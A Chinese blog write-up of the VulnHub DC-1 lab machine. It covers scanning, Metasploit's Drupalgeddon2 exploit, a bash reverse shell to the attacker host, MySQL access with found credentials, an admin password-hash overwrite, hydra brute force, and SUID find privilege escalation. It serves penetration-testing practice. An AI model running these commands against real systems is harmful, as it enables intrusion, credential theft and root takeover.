爲學提權攻克的DC-1靶機筆記

網上有許多教程不完整而且不怎麼細膩,對我們小白很不友好,今天刷完這個靶機馬上拿小本本記下來。

vulnhub是一個特別好的滲透測試實戰網站,裏面有許多靶機可以下載,也是小白必刷靶機,比如我,下載地址: https://www.vulnhub.com/entry/dc-1-1,292/
所需環境和網絡要求:
VMware
kali
vulnhub-DC-1靶機
兩臺主機都設置爲nat模式
第一步要幹什麼?
建議先創建一個文件夾,因爲攻擊靶機的過程會產生很多輸出信息;我這裏是建了tmp目錄下的dc-1的文件夾,後面的操作都在這個文件夾做;
現在不能通過靶機來做任何事情,包括查IP,所以需要在kali上使用arp-scan工具或者nmap工具掃描出靶機的IP地址;

在這裏插入圖片描述
兩種方式都可以,其實這不重要啦!

信息收集

因爲這裏是靶機實戰,所以當然不用收集whois信息還有域名子域名什麼的啦,
在這裏插入圖片描述
根據收集到的信息,我們可以知道服務器是的操作系統是Linux3.2-3.16,開通的端口以及協議版本,這裏22端口開着可以考慮爆破,網站容器是apache,服務器語言是php如圖,輸入index.php頁面回顯正常
根據收集到的信息,我們可以知道服務器是的操作系統是Linux3.2-3.16,開通的端口以及協議版本,這裏22端口開着可以考慮爆破,網站容器是apache,服務器語言是php如圖,輸入index.php頁面回顯正常
在這裏插入圖片描述
試一下robots.txt看看能訪問些什麼:
在這裏插入圖片描述
發現都不能訪問,但是發現了一些文件路徑還是不錯,同時還有新發現:
在這裏插入圖片描述
是基於Drupal的框架,網上有很多教程都是用Wappalyzer進行網站指紋識別,其實不需要,但是也可以複習一下這個插件的使用也問題不大雖然現在不知道版本。但也算是一個小突破點;
因爲現在我能力有限,這裏實在也找不到注入點,暫時我也不知道什麼數據庫類型,無非就是 MySQL或者PostgreSQL,也不用知道遼,因爲這裏已經有了突破點有了突破點;
不要急着去攻擊,信息收集階段都還沒有走完呢,比如你的網站目錄後臺還沒有掃吧:
在這裏插入圖片描述
部分掃描結果是這樣,發現有幾個網頁可以打開:
在這裏插入圖片描述
在這裏插入圖片描述
可能會有別的目錄但是我懶得等他去掃目錄了,發現升級和維護裏有個UPDATE.txt點進去看看

在這裏插入圖片描述
我是在windows上用谷歌看的,表示英語看不大懂,搞了半天唯一的有用信息是drupal的版本信息(不過也不錯);

攻擊階段

使用Metasploit進行漏洞查找攻擊。metasploit是very強大的漏洞查找工具,具體用法CSDN裏面有狠多;
在這裏插入圖片描述
打開msf,發現會報錯,小問題,這是由於postgresql 未進行postgresql 的初始化配置,所以報錯沒有這個數據庫,進行數據配置就好了,命令msfdb init,然後重啓你會發現不再報錯(其實也不是很影響):
在這裏插入圖片描述
在這裏插入圖片描述

查找exp,有很多模塊可以利用,選擇一個use exploit/unix/webapp/drupal_drupalgeddon2;
這裏應該總結一下msf的用法對吧:
進入MSF:msfconsole
(如果有報錯進行數據初始化配置)
search命令查找相關漏洞:search 關鍵詞
選擇模塊使用use命令進入模塊;
先info查看;
設置payload(兩下TAB):set payload 反彈連接
show options
設置參數:set RHOSTS 192.168.11.132
set LHOST 192.168.11.129
攻擊:exploit
小插曲小插曲。我們繼續:
在這裏插入圖片描述
發現是API的注入而且7.x和8.x都可以,再好不過了;
在這裏插入圖片描述
至此,入侵系統成功,需要找到五個flag;

get flag1

在這裏插入圖片描述
pwd查看當前路徑,也就是網站目錄
在這裏插入圖片描述
ls 查看文件,發現有個flag1.txt文件我們cat看看:
在這裏插入圖片描述

get flag2

根據flag1的提示,意思是讓我們去找配置文件:
在這裏插入圖片描述
找到配置文件並找到了flag2;

get flag3

給出了mysql的登錄名和密碼,接下來試着連接數據庫:
在這裏插入圖片描述
然後切上shell連上服務器端,顯示頻道已連接;
id查看權限:是普通目錄權限(2+1)
在這裏插入圖片描述
檢查端口開放情況,3306開放,但是隻允許本地連接(127.0.0.1)
現在登入不了的,因爲我們的shell是通過http方式獲得的,是非持續連接,這裏要建立持續性連接MySQL數據庫(劃重點);所以這裏要做一個shell反彈,怎麼做呢?
先本地監聽一下
在這裏插入圖片描述
shell反彈命令:bash -i >& /dev/tcp/192.168.11.129/2333 0>&1(bash方式)
這樣的話會失敗,因爲bin下的bash不允許調用;
這裏我們輸入:python -c ‘import pty;pty.spawn("/bin/bash")’
這裏我試了好幾下,還好最後成功了,網上有些說要反彈shell兩次;
這裏看到已經連接上了,因爲現在是python調用bash;
在這裏插入圖片描述


成功了;登入MySQL數據庫
mysql -udbuser -pR0ck3t
show databases;
use drupaldb;
show tables;(到這裏會發現有一張user表)
select * from users\G

在這裏插入圖片描述
顯示的密碼是密文,嘗試破解沒破解出來,決定換一種方法;
我們可以生成一個密碼的密文覆蓋掉,也就是對數據庫數據的更新和修改:
先要生成密碼的密文:php scripts/password-hash.sh 123456
在這裏插入圖片描述
在這裏插入圖片描述
這樣修改密碼就成功了!!!
在這裏插入圖片描述
不負衆望,同時也登進了網頁;
在這裏插入圖片描述
我枯了,flag3終於被我找到了,同時還有線索指向flag4;

get flag4

找到/etc/passwd下的文件flag4
在這裏插入圖片描述

並且這個flag4允許登錄,因爲/bin/bash!
使用hydra爆破以後得到密碼orange登錄;
在這裏插入圖片描述
在這裏插入圖片描述
打開flag4.txt的內容,其實之前這裏這個文件已經被我找到並且打開了,你們可以摸索摸索(隨便翻翻目錄就有答案)

get flag5

接下來根據他的提示在root家目錄下找最後一個flag;之前我也試過打開這個文件但是打不開,需要文件,這裏需要提取咯~
先檢查系統是否有一些命令有SUID標識,如果有SUID的標識,這些命令就可以短暫的獲得root命令權限;
find /-perm -4000 2>/dev/null:查找具有SUID標識的一些命令;
在這裏插入圖片描述

創建一個haha的文件夾;
通過find提權:find haha -exec “/bin/sh” ;
然後根據下面的步驟得到flag(我記得第一遍做的時候也是通過目錄找到了這個文件)
在這裏插入圖片描述
得到最終的flag;

總結

1.首先是對信息收集流程的複習
2.其次就是nmap、metaploit、hydra、arp-scan等工具的使用
3.對幾個不熟悉的概念的熟悉以及命令比如:find提權、bash、shell反彈等
對我來說這次學到超級多的東西,原本是奔着如何提權來的,不過現在感覺收穫也不小,繼續加油!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章